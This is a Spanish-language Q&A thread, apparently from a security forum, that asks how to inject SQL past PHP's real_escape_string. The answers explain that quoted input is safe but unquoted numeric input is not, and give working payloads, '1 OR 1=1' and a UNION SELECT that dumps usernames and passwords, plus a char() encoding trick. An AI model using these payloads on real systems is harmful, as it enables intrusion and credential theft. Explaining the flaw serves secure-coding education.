¿Cómo realizar la inyección de SQL con el filtro real_escape_string en su lugar?

0

alguien puede darme un ejemplo de la carga útil de inyección de mySQL, que omitirá el filtro de desinfección real_escape_string () en relación con el siguiente ejemplo de php.

function sanitizeStrXSS51($var)
{
global $connection;
return $connection->real_escape_string($var);
}

$result = queryMysql("SELECT * FROM profiles WHERE user='$user'");

if (isset($_POST['text']))
{
$text = sanitizeStrXSS51($_POST['text']);

if ($result->num_rows)
queryMysql("UPDATE profiles SET text='$text' where user='$user'");
else queryMysql("INSERT INTO profiles VALUES('$user', '$text')");
}
    
pregunta Gazel 01.02.2015 - 22:35
fuente

2 respuestas

0

En tu caso específico, no es vulnerable.

Sin embargo, en un caso sin comillas, sería:

$comment_id = mysql_real_escape_string($_GET['id']);
$query = "SELECT id, title, message FROM comments WHERE id = " . $comment_id . " AND published = 1";
// ...
mysql_query($query);

Ya que no hay una cita para escapar, un atacante puede simplemente poner 1 OR 1=1 -- - para desordenar la lógica y devolver todos los comentarios. No es muy impactante para la seguridad, así que veamos algo más interesante:

1 UNION SELECT u.id, u.username, u.password FROM users u -- -

Esto se convierte en:

SELECT id, title, message
FROM comments
WHERE id = 1
UNION
SELECT u.id, u.username, u.password
FROM users u -- -
AND published = 1

El -- es una marca de comentario, lo que hace que el resto de la consulta sea ignorada. El solo - por sí solo puede ser cualquier carácter; solo se utiliza para rellenar el parámetro HTTP para garantizar que haya un espacio allí antes que el resto del SQL. Al final, esto devuelve el nombre de usuario en el campo de título y la contraseña en el campo de mensaje, por lo que pierde la tabla de usuarios.

    
respondido por el Polynomial 01.02.2015 - 23:56
fuente
-1

Si aún puede usar la función char y ()

insert into users values(666,char(0x63)+char(0x65)…)
    
respondido por el Cyril Duchon-Doris 01.02.2015 - 22:43
fuente

Lea otras preguntas en las etiquetas